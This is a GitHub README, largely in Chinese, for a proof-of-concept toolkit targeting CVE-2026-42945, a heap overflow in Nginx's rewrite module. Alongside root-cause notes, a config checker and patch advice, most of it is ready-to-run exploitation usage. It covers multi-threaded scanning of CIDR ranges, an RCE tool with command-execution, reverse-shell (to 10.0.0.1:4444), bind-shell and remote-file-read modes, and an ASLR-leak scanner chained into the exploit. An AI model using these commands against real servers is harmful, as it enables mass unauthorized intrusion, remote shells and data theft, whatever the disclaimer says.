LiaoZiqi-GZFLS/CVE-2026-42945

GitHub: LiaoZiqi-GZFLS/CVE-2026-42945

针对 Nginx CVE-2026-42945 堆溢出漏洞的多功能概念验证与利用工具包,涵盖漏洞扫描、批量检测、配置审计及高级利用。

Stars: 0 | Forks: 0

# CVE-2026-42945 Nginx Rift - PoC 工具包 这是一个针对 **CVE-2026-42945** (Nginx Rift) 的综合概念验证工具包,该漏洞是 Nginx 的 `ngx_http_rewrite_module` 中存在的一个严重的堆缓冲区溢出漏洞。 ## 漏洞概述 | 字段 | 详情 | | ------------------- | --------------------------- | | **CVE ID** | CVE-2026-42945 | | **名称** | Nginx Rift | | **类型** | 堆缓冲区溢出 | | **组件** | `ngx_http_rewrite_module` | | **严重程度** | 严重 (CVSS 9.2) | | **受影响版本** | Nginx 0.6.27 - 1.30.0 | | **已修复版本** | Nginx 1.30.1 / 1.31.0 | ### 根本原因 该漏洞的存在是因为在处理 rewrite 规则时,两次内部处理过程之间的空间大小计算存在错误。如果配置使用了: - **未命名的正则捕获** (`$1`, `$2` 等) - **结合包含 `?` 的替换字符串** Nginx 在第一次处理时会错误计算所需的缓冲区大小,并在第二次处理时写入超出已分配堆缓冲区的范围。 ### 易受攻击的配置示例 ``` server { # VULNERABLE: Unnamed capture ($1) + '?' in replacement location /api/ { rewrite ^/api/(.*)$ /v1/$1?version=2 last; } } ``` ### 安全配置(已修复) ``` server { # SAFE: Named capture (?P) replaces $1 location /api/ { rewrite ^/api/(?P.*)$ /v1/$path?version=2 last; } } ``` ## 工具包组件 ### 1. `nginx_rift_poc.py` - 核心 PoC 工具 单目标漏洞扫描和利用工具。 **功能:** - 从 `Server` 头检测 Nginx 版本 - 检查版本是否在易受攻击的范围内 - 发送特制的 HTTP payload 以触发堆溢出 - 生成易受攻击/安全的测试配置 **用法:** ``` # 检测版本并测试漏洞 python nginx_rift_poc.py -t target.example.com # 使用自定义 payload 测试 python nginx_rift_poc.py -t target.example.com -p "/api/AAAA...?x=1" # HTTPS target python nginx_rift_poc.py -t target.example.com --ssl -p 443 # 生成存在漏洞的测试配置 python nginx_rift_poc.py --gen-vuln-config > vuln.conf # 生成安全(已修复)的配置 python nginx_rift_poc.py --gen-safe-config > safe.conf ``` ### 2. `nginx_rift_scanner.py` - 批量扫描器 用于并发测试多个目标的批量扫描器。 **功能:** - 多线程扫描(默认 50 个线程) - 从文件或 CIDR 网络范围获取目标列表 - 输出 JSON 格式以便于集成 - 针对 443 端口自动进行 SSL 检测 **用法:** ``` # 从目标文件扫描(格式:每行 host:port) python nginx_rift_scanner.py -f targets.txt -o results.json # 扫描单个目标 python nginx_rift_scanner.py -t example.com -p 443 --ssl # 扫描网络范围 python nginx_rift_scanner.py -t 192.168.1.0/24 -p 80,443,8080 # 高速扫描 python nginx_rift_scanner.py -f targets.txt --threads 100 -o results.json ``` **目标文件格式:** ``` # 注释以 # 开始 192.168.1.1:80 192.168.1.2:443:ssl example.com:8080 ``` ### 3. `config_checker.py` - 配置分析器 扫描本地 Nginx 配置文件中易受攻击的 rewrite 模式。 **功能:** - 解析 `nginx.conf` 并遵循 `include` 指令 - 检测替换字符串中带有 `?` 的未命名捕获 - 支持自动修复(带有备份) - 递归目录扫描 **用法:** ``` # 扫描单个文件 python config_checker.py /etc/nginx/nginx.conf # 递归扫描目录 python config_checker.py -d /etc/nginx/conf.d/ # 自动修复存在漏洞的 patterns(创建 .bak 备份) python config_checker.py --fix /etc/nginx/nginx.conf # 自动检测常见的 Nginx 路径 python config_checker.py ``` ### 4. `enhanced_poc.py` - 增强 RCE PoC 基于 depthfirst 的官方研究的高级漏洞利用工具,支持多种 rewrite 模式和利用模式。 **功能:** - 自动检测 8 种常见的易受攻击 rewrite 模式(`/api/`, `/redirect/`, `/user/` 等) - 支持多种溢出触发字符(`+`, `&`, `=`, `%`) - 智能生成 payload,可控制溢出大小 - 多种利用模式:`cmd` / `shell` / `bind` / `read` - 支持为关闭 ASLR 的环境自定义堆/libc 基地址 - 动态构造 spray body 并带有伪造的 `ngx_pool_cleanup_s` **用法:** ``` # 自动检测 patterns 和版本 python enhanced_poc.py -t target.example.com --detect # 执行命令(关闭 ASLR) python enhanced_poc.py -t target.example.com --cmd "id > /tmp/pwned" # Reverse shell python enhanced_poc.py -t target.example.com --shell --listen-ip 10.0.0.1 --listen-port 4444 # Bind shell python enhanced_poc.py -t target.example.com --bind --listen-port 5555 # 读取远程文件 python enhanced_poc.py -t target.example.com --read /etc/passwd # 自定义 heap base(适用于关闭 ASLR 的目标) python enhanced_poc.py -t target.example.com --cmd "whoami" --heap-base 0x555555554000 # 使用 & 作为溢出触发器 python enhanced_poc.py -t target.example.com --cmd "id" --escape-char "&" ``` **利用模式详情:** | 模式 | 描述 | 输出 | | --------- | ---------------------------- | -------------------------------------------- | | `cmd` | 执行单条 shell 命令 | 目标上的命令输出 | | `shell` | 生成反弹 shell | 连回 `--listen-ip:listen-port` | | `bind` | 在目标上生成 bind shell | 在目标上的 `--listen-port` 监听 | | `read` | 从目标读取文件 | 内容写入 `/tmp/nginx_rift_read` | **地址配置(仅限关闭 ASLR 的环境):** - `--heap-base`: 目标堆基地址 (例如, `0x555555559000`) - `--libc-base`: libc 基地址 (例如, `0x7ffff77ba000`) - `--system-addr`: 直接 `system()` 地址 (覆盖 libc-base) ### 5. `aslr_leak_detector.py` - ASLR 泄漏检测器 用于检测可绕过 ASLR 保护的信息泄漏的综合扫描器。 **功能:** - HTTP 头泄漏检测 (Server, X-Powered-By 等) - 针对内存地址和堆栈跟踪的错误页面分析 - Nginx 特定端点探测 (`/nginx_status`, `/actuator/*` 等) - 内存地址泄漏检测 (64 位指针,堆/libc/栈地址) - 通过时间分析探测堆布局 - ASLR 状态推断 (已启用/已禁用/弱) - 通过 JSON 报告直接与 `enhanced_poc.py` 集成 **用法:** ``` # 扫描单个目标 python aslr_leak_detector.py -t target.example.com # 使用 SSL 扫描 python aslr_leak_detector.py -t target.example.com -p 443 --ssl # 从文件扫描,保存报告 python aslr_leak_detector.py -f targets.txt -p 80,443 -o leak_report.json # 扫描网络范围 python aslr_leak_detector.py -t 192.168.1.0/24 -p 80,443 # 快速扫描模式 python aslr_leak_detector.py -t target.example.com --quick ``` **与增强版 PoC 的集成:** ``` # 第 1 步:检测泄漏 python aslr_leak_detector.py -t target.example.com -o leak.json # 第 2 步:使用泄漏的地址进行 exploit python enhanced_poc.py -t target.example.com \ --heap-base 0x555555559000 \ --libc-base 0x7ffff77ba000 \ --cmd "id" ``` ## 漏洞检测指标 PoC 工具通过以下指标来识别漏洞: | 指标 | 描述 | | ------------------ | ------------------------------------------------------ | | 连接断开 | 目标意外关闭连接 (worker 崩溃) | | 网关错误 | HTTP 502/503/504 响应 (worker 进程死亡) | | 响应缓慢 | 响应时间显著增加 (崩溃恢复) | | 空响应 | 与基线相比,响应主体消失 | | 版本匹配 | 检测到的 Nginx 版本处于易受攻击的范围内 | ## 安装 无需外部依赖。仅使用 Python 标准库。 ``` # Clone 或下载该 toolkit git clone cd CVE-2026-42945 # 验证 Python 版本(推荐 3.7+) python3 --version # 运行任何工具 python3 nginx_rift_poc.py --help ``` ## 受影响版本 | 产品 | 受影响 | 已修复 | | ------------------------ | ---------------------- | ------------------------- | | Nginx 开源版 | 0.6.27 - 1.30.0 | 1.30.1 / 1.31.0 | | Nginx Plus | R32 - R36 | R32 P6 / R36 P4 | | Nginx Ingress Controller | 所有低于补丁的版本 | 更新至已修复版本 | | Nginx Gateway Fabric | 所有低于补丁的版本 | 更新至已修复版本 | ## 缓解措施 ### 立即处理 1. **将 Nginx 补丁** 至版本 1.30.1 (稳定版) 或 1.31.0 (主线版) 2. **审计配置** 以查找易受攻击的 rewrite 模式 3. 在所有运行 Nginx worker 进程的主机上**启用 ASLR** ### 配置变通方案 如果不能立即打补丁,请将未命名捕获替换为命名捕获: ``` # 修改前(存在漏洞) rewrite ^/api/(.*)$ /v1/$1?version=2 last; # 修改后(安全) rewrite ^/api/(?P.*)$ /v1/$path?version=2 last; ``` ### WAF 虚拟补丁 部署 WAF 规则以拦截针对易受攻击 rewrite 模式的格式错误请求。 ## 免责声明 **本工具包仅供授权的安全测试和研究目的使用。** - 仅对您拥有或已获得明确测试许可的系统使用 - 未经授权访问计算机系统是非法的 - 作者不对滥用本工具或由此造成的损害负责 - 在用于生产环境之前,请始终在隔离的环境中进行测试 ## 相关 CVE 该缺陷是与另外三个内存损坏问题一起被发现的: | CVE | 描述 | 严重程度 | | -------------- | ----------------------------------------- | -------- | | CVE-2026-42946 | SCGI/UWSGI 内存分配缺陷 | 高 | | CVE-2026-40701 | OCSP DNS 解析中的 Use-after-free | 中 | | CVE-2026-42934 | UTF-8 解析越界读取 | 中 | ## 参考 - [F5 安全公告](https://www.f5.com/security/advisories) - [Nginx 安全](https://nginx.org/en/security_advisories.html) - [CVE-2026-42945 详情](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42945) ## 许可证 本项目仅供教育和授权的安全测试目的提供。 **作者:** Security Research Team **日期:** 2026-06-11 # 中文说明 (Chinese Documentation) ## 漏洞概述 **CVE-2026-42945**(Nginx Rift)是 Nginx `ngx_http_rewrite_module` 模块中的一个**堆缓冲区溢出**漏洞,自 2008 年(Nginx 0.6.27)就已存在,潜伏了约 18 年。 | 字段 | 详情 | | ------------------ | ------------------------------------ | | **CVE 编号** | CVE-2026-42945 | | **漏洞名称** | Nginx Rift | | **漏洞类型** | 堆缓冲区溢出(Heap Buffer Overflow) | | **影响组件** | `ngx_http_rewrite_module` | | **危害等级** | 严重(CVSS 9.2) | | **影响版本** | Nginx 0.6.27 - 1.30.0 | | **修复版本** | Nginx 1.30.1 / 1.31.0 | ### 漏洞原理 在处理 rewrite 规则时,Nginx 内部会进行两次解析。如果配置中同时满足以下两个条件: 1. 使用**未命名正则捕获**(如 `$1`、`$2`) 2. 替换字符串中包含 **`?`** 字符 Nginx 在第一遍解析时会错误计算缓冲区大小,在第二遍解析时写入超出堆缓冲区边界的数据,导致堆溢出。 ### 脆弱配置示例(有漏洞) ``` server { # 有漏洞:未命名捕获 $1 + 替换字符串中的 ? location /api/ { rewrite ^/api/(.*)$ /v1/$1?version=2 last; } } ``` ### 安全配置示例(已修复) ``` server { # 安全:使用命名捕获 (?P) 替代 $1 location /api/ { rewrite ^/api/(?P.*)$ /v1/$path?version=2 last; } } ``` ## 工具组件说明 ### 1. `nginx_rift_poc.py` — 核心 PoC 工具 单目标漏洞检测与利用工具。 **功能:** - 从 `Server` 响应头检测 Nginx 版本 - 判断版本是否在脆弱范围内 - 发送精心构造的 HTTP 请求触发堆溢出 - 生成用于测试的脆弱/安全配置 **使用示例:** ``` # 检测版本并测试漏洞 python nginx_rift_poc.py -t target.example.com # 使用自定义 Payload 测试 python nginx_rift_poc.py -t target.example.com -p "/api/AAAA...?x=1" # HTTPS 目标 python nginx_rift_poc.py -t target.example.com --ssl -p 443 # 生成脆弱测试配置 python nginx_rift_poc.py --gen-vuln-config > vuln.conf # 生成安全(已修复)配置 python nginx_rift_poc.py --gen-safe-config > safe.conf ``` ### 2. `nginx_rift_scanner.py` — 批量扫描器 多线程并发扫描多个目标。 **功能:** - 默认 50 线程并发扫描 - 支持从文件或 CIDR 网段读取目标 - JSON 格式输出结果 - 自动识别 443 端口的 SSL 连接 **使用示例:** ``` # 从目标文件扫描(格式:每行 host:port) python nginx_rift_scanner.py -f targets.txt -o results.json # 扫描单个目标 python nginx_rift_scanner.py -t example.com -p 443 --ssl # 扫描整个网段 python nginx_rift_scanner.py -t 192.168.1.0/24 -p 80,443,8080 # 高速扫描(100线程) python nginx_rift_scanner.py -f targets.txt --threads 100 -o results.json ``` **目标文件格式:** ``` # 井号开头的行为注释 192.168.1.1:80 192.168.1.2:443:ssl example.com:8080 ``` ### 3. `config_checker.py` — 配置文件检查器 扫描本地 Nginx 配置文件中的脆弱 rewrite 模式。 **功能:** - 解析 `nginx.conf` 并递归解析 `include` 引用的文件 - 检测包含未命名捕获 + `?` 的 rewrite 指令 - 支持自动修复(自动创建 .bak 备份) - 递归扫描目录 **使用示例:** ``` # 扫描单个文件 python config_checker.py /etc/nginx/nginx.conf # 递归扫描目录 python config_checker.py -d /etc/nginx/conf.d/ # 自动修复脆弱配置(自动备份原文件) python config_checker.py --fix /etc/nginx/nginx.conf # 自动探测常见 Nginx 配置路径 python config_checker.py ``` ### 4. `enhanced_poc.py` — 增强版 RCE PoC 基于 depthfirst 官方研究的高级漏洞利用工具,支持多种 rewrite 模式和利用方式。 **功能:** - 自动探测 8 种常见脆弱 rewrite 模式(`/api/`、`/redirect/`、`/user/` 等) - 支持多种溢出触发字符(`+`、`&`、`=`、`%`) - 智能 payload 生成,精确控制溢出大小 - 多种利用模式:`cmd` / `shell` / `bind` / `read` - 自定义堆/libc 基址(用于 ASLR 关闭环境) - 动态构造 spray body,包含 fake `ngx_pool_cleanup_s` **溢出触发字符扩展表:** | 字符 | 扩展为 | 每字符溢出 | | ----- | ------- | ---------- | | `+` | `%2B` | +2 字节 | | `&` | `%26` | +2 字节 | | `=` | `%3D` | +2 字节 | | `%` | `%25` | +2 字节 | | 空格 | `%20` | +2 字节 | **使用示例:** ``` # 自动探测配置模式和版本 python enhanced_poc.py -t target.example.com --detect # 执行命令(ASLR 关闭环境) python enhanced_poc.py -t target.example.com --cmd "id > /tmp/pwned" # 反弹 Shell python enhanced_poc.py -t target.example.com --shell --listen-ip 10.0.0.1 --listen-port 4444 # 绑定 Shell(在目标上监听) python enhanced_poc.py -t target.example.com --bind --listen-port 5555 # 读取远程文件 python enhanced_poc.py -t target.example.com --read /etc/passwd # 自定义堆基址 python enhanced_poc.py -t target.example.com --cmd "whoami" --heap-base 0x555555554000 # 使用 & 作为溢出触发字符 python enhanced_poc.py -t target.example.com --cmd "id" --escape-char "&" ``` **利用模式说明:** | 模式 | 说明 | 输出 | | --------- | ------------------- | ---------------------------------- | | `cmd` | 执行单条 shell 命令 | 命令输出保存在目标上 | | `shell` | 生成反弹 shell | 连接回 `--listen-iplisten-port` | | `bind` | 生成绑定 shell | 在目标 `--listen-port` 上监听 | | `read` | 读取目标文件 | 内容写入 `/tmp/nginx_rift_read` | **地址配置(仅 ASLR 关闭环境):** - `--heap-base`: 目标堆基址(如 `0x555555559000`) - `--libc-base`: libc 基址(如 `0x7ffff77ba000`) - `--system-addr`: 直接指定 `system()` 地址 ### 5. `aslr_leak_detector.py` — ASLR 信息泄露检测工具 综合扫描器,检测可用于绕过 ASLR 防护的信息泄露漏洞。 **功能:** - HTTP 响应头泄露检测(Server、X-Powered-By 等) - 错误页面分析(内存地址、堆栈跟踪) - Nginx 特定端点探测(`/nginx_status`、`/actuator/*` 等) - 内存地址泄露检测(64位指针、堆/libc/栈地址) - 堆布局探测(通过响应时间差异推断内存状态) - ASLR 状态推断(开启/关闭/弱) - 通过 JSON 报告直接与 `enhanced_poc.py` 集成 **使用示例:** ``` # 扫描单个目标 python aslr_leak_detector.py -t target.example.com # SSL 扫描 python aslr_leak_detector.py -t target.example.com -p 443 --ssl # 从文件批量扫描并保存报告 python aslr_leak_detector.py -f targets.txt -p 80,443 -o leak_report.json # 扫描网段 python aslr_leak_detector.py -t 192.168.1.0/24 -p 80,443 # 快速扫描 python aslr_leak_detector.py -t target.example.com --quick ``` **与增强版 PoC 的联动使用:** ``` # 步骤 1:检测信息泄露 python aslr_leak_detector.py -t target.example.com -o leak.json # 步骤 2:使用泄露的地址进行利用 python enhanced_poc.py -t target.example.com \ --heap-base 0x555555559000 \ --libc-base 0x7ffff77ba000 \ --cmd "id" ``` ## 漏洞检测指标 PoC 工具通过以下现象判断目标是否存在漏洞: | 检测指标 | 说明 | | -------- | ---------------------------------------- | | 连接断开 | 目标异常关闭连接(Worker 进程崩溃) | | 网关错误 | 返回 HTTP 502/503/504(Worker 进程已死) | | 响应变慢 | 响应时间显著增加(进程崩溃后自动重启) | | 空响应体 | 与基线对比,响应体为空(Worker 已崩溃) | | 版本匹配 | 检测到的 Nginx 版本在脆弱范围内 | ## 安装方法 无需安装任何第三方依赖,仅使用 Python 标准库即可运行。 ``` # 克隆或下载工具包 git clone cd CVE-2026-42945 # 验证 Python 版本(推荐 3.7+) python3 --version # 查看工具帮助 python3 nginx_rift_poc.py --help ``` ## 影响版本 | 产品 | 受影响版本 | 修复版本 | | ------------------------ | ------------------ | ---------------- | | Nginx 开源版 | 0.6.27 - 1.30.0 | 1.30.1 / 1.31.0 | | Nginx Plus | R32 - R36 | R32 P6 / R36 P4 | | Nginx Ingress Controller | 未打补丁的所有版本 | 更新到已修复版本 | | Nginx Gateway Fabric | 未打补丁的所有版本 | 更新到已修复版本 | ## 缓解措施 ### 紧急处置建议 1. **立即升级 Nginx** 到 1.30.1(稳定版)或 1.31.0(主线版) 2. **审计配置文件** 中是否存在脆弱的 rewrite 模式 3. **开启 ASLR** 地址空间布局随机化,增加 RCE 利用难度 ### 临时缓解方案(无法立即升级时) 将未命名捕获替换为命名捕获: ``` # 修改前(有漏洞) rewrite ^/api/(.*)$ /v1/$1?version=2 last; # 修改后(安全) rewrite ^/api/(?P.*)$ /v1/$path?version=2 last; ``` ### WAF 虚拟补丁 部署 Web 应用防火墙规则,拦截针对脆弱 rewrite 模式的恶意请求。 ## 免责声明 **本工具包仅供授权的安全测试和研究用途。** - 仅对您拥有所有权或已获得明确授权的系统使用本工具 - 未经授权访问计算机系统是违法行为 - 作者不对本工具的滥用或造成的损害承担责任 - 请始终在隔离环境中测试后再用于生产环境 ## 相关漏洞 此漏洞是由 depthfirst 的 AI 驱动静态分析系统发现的一系列内存损坏问题之一: | CVE 编号 | 描述 | 等级 | | -------------- | ----------------------- | ---- | | CVE-2026-42946 | SCGI/UWSGI 内存分配缺陷 | 高危 | | CVE-2026-40701 | OCSP DNS 解析 UAF | 中危 | | CVE-2026-42934 | UTF-8 解析越界读取 | 中危 | ## 参考链接 - [F5 安全公告](https://www.f5.com/security/advisories) - [Nginx 安全公告](https://nginx.org/en/security_advisories.html) - [CVE-2026-42945 详情](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42945) - [SonicWall 技术分析](https://www.sonicwall.com/blog/nginx-rift-rewrite-module-remote-code-execution) - [Cloud Security Alliance 研究报告](https://labs.cloudsecurityalliance.org/research/csa-research-note-nginx-rift-cve-2026-42945-unauthenticated/) ## 开源协议 本项目仅供教育用途和授权安全测试使用。 **作者:** Security Research Team **日期:** 2026-06-11
标签:CISA项目, Nginx, PoC, Python, 无后门, 暴力破解, 逆向工具